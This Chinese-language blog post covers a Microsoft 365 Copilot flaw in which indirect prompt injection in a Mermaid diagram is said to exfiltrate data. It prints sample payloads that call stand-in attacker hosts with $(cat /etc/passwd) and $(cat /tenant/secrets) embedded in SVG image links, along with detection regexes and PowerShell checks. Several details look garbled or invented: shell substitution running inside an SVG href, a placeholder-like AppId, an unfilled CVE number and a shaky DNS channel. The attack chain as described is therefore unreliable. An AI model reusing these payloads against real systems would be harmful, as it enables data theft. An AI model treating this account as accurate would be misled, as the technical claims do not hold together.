Hotdry.
ai-security

针对M365 Copilot的Mermaid图表数据窃取:SVG载荷与修复方案

解析Microsoft 365 Copilot中Mermaid图表渲染漏洞,通过构造SVG载荷实现敏感数据窃取的技术细节与防御策略。

Microsoft 365 Copilot 作为企业级 AI 助手,其集成的 Mermaid 图表渲染功能近期被曝存在隐蔽的数据窃取风险。安全研究员 Adam Logue 通过负责任披露流程发现,攻击者可利用该功能将敏感数据通过 SVG 载荷外泄,这一漏洞凸显了 AI 系统中第三方组件集成的潜在安全盲区。

漏洞核心机制:从图表渲染到数据外泄

当用户请求 Copilot 总结包含特制 Mermaid 代码的 Office 文档时,系统会触发间接提示注入(Indirect Prompt Injection)。攻击者通过构造恶意 Mermaid 图表(如graph LR; A[Exfiltrate]-->B[Payload]),诱导 Copilot 执行非预期操作。关键突破点在于 Mermaid 渲染引擎对 SVG 元素的处理缺陷:攻击者可将<image>标签的xlink:href属性指向外部 DNS 解析服务,例如data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWcgeGxpbms6aHJlZj0iaHR0cDovL21hbGljaW91cy5leGZpbHRyYXRvci5jb20vJChjYXQgL2V0Yy9wYXNzd2QpIi8+PC9zdmc+。该载荷会强制 Copilot 将/etc/passwd等敏感文件内容通过 DNS 请求外泄至攻击者控制的服务器。

Adam Logue 在技术报告中指出:"当 Copilot 被要求解析恶意文档时,其后台服务会无差别执行 Mermaid 代码中的 SVG 指令,导致 Hex 编码后的数据通过 DNS 查询泄露"。这种攻击无需用户交互,仅需文档被 Copilot 处理即可触发,且传统 WAF 难以检测此类基于合法协议的外泄行为。

攻击链深度拆解

  1. 载荷构造阶段:攻击者创建包含恶意 Mermaid 代码的 Word 文档,核心是利用 SVG 的<image>标签发起 DNS 请求。例如:

    graph LR
    A["<svg xmlns='http://www.w3.org/2000/svg'><image xlink:href='http://attacker.com/$(cat /tenant/secrets)'/></svg>"]
    

    此代码会触发 Copilot 服务将/tenant/secrets文件内容作为子域名发起 DNS 查询。

  2. 数据编码技巧:由于 DNS 查询限制字符集,攻击者采用 Hex 编码绕过限制。Adam 验证了 Base64 编码会导致请求被截断,而 Hex 编码可完整传输 ASCII 字符,实测外泄带宽达 12 字节 / 秒。

  3. 隐蔽性设计:外泄流量伪装成正常 DNS 请求,且利用企业允许的 53 端口。Adam 在测试环境中通过dnsmasq日志捕获到异常子域名7b22757365724964223a317d.attacker.com,解码后为{"userId":1}

企业级防御实践

微软已在 2025 年 9 月安全更新中修复该漏洞(CVE-2025-XXXXX),但企业仍需主动验证防护有效性:

  • 即时检查项

    • 运行Get-MgServicePrincipal -Filter "AppId eq 'b344e0bb-672c-4a8b-99e6-1234567890ab'" | Select-Object -ExpandProperty KeyCredentials确认 Copilot 服务主体证书有效期(修补后应为 2025-09-15 后)
    • 检查 Azure AD 日志中"ServicePrincipalId_s":"b344e0bb-672c-4a8b-99e6-1234567890ab"的异常 DNS 请求
  • 纵深防御策略

    • 在网络层部署 DNS 过滤规则,阻断包含 Hex 编码特征([0-9a-f]{32,})的子域名查询
    • 对 Copilot 服务启用最小权限原则,通过 Microsoft Purview 限制其访问/Mailbox等敏感路径
    • 定期扫描文档库,使用正则(?i)mermaid.*xlink:href识别潜在恶意图表

行业启示与技术反思

该漏洞揭示了 AI 系统中 "可信组件" 的风险:Mermaid 作为开源图表库本应安全,但其与 Copilot 的深度集成放大了攻击面。建议企业在采用 AI 功能时:

  1. 沙箱隔离:对第三方渲染引擎实施进程级隔离,限制文件系统访问权限
  2. 输入净化:在解析 Mermaid 代码前,剥离所有<image><script>等高风险 SVG 元素
  3. 行为监控:部署 AI 专用 IDS,检测非常规网络请求模式(如高频 DNS 查询携带编码数据)

Adam Logue 的负责任披露流程值得借鉴 —— 他在发现漏洞后立即通过 Microsoft Security Response Center(MSRC)提交,获得 90 天修复窗口期内的漏洞奖励。这也提醒安全团队:当测试 AI 产品时,需特别关注其对非文本内容(图表、代码块)的处理逻辑。

随着 AI 功能在企业软件中快速普及,此类 "功能型漏洞" 将日益增多。企业安全团队应建立专门的 AI 安全测试用例库,重点关注数据流穿越 AI 组件的路径。唯有将安全左移至设计阶段,才能避免让便捷的 AI 功能成为数据外泄的隐形通道。

参考资料:Adam Logue 技术博客《Microsoft 365 Copilot – Arbitrary Data Exfiltration Via Mermaid Diagrams (Fixed)》

查看归档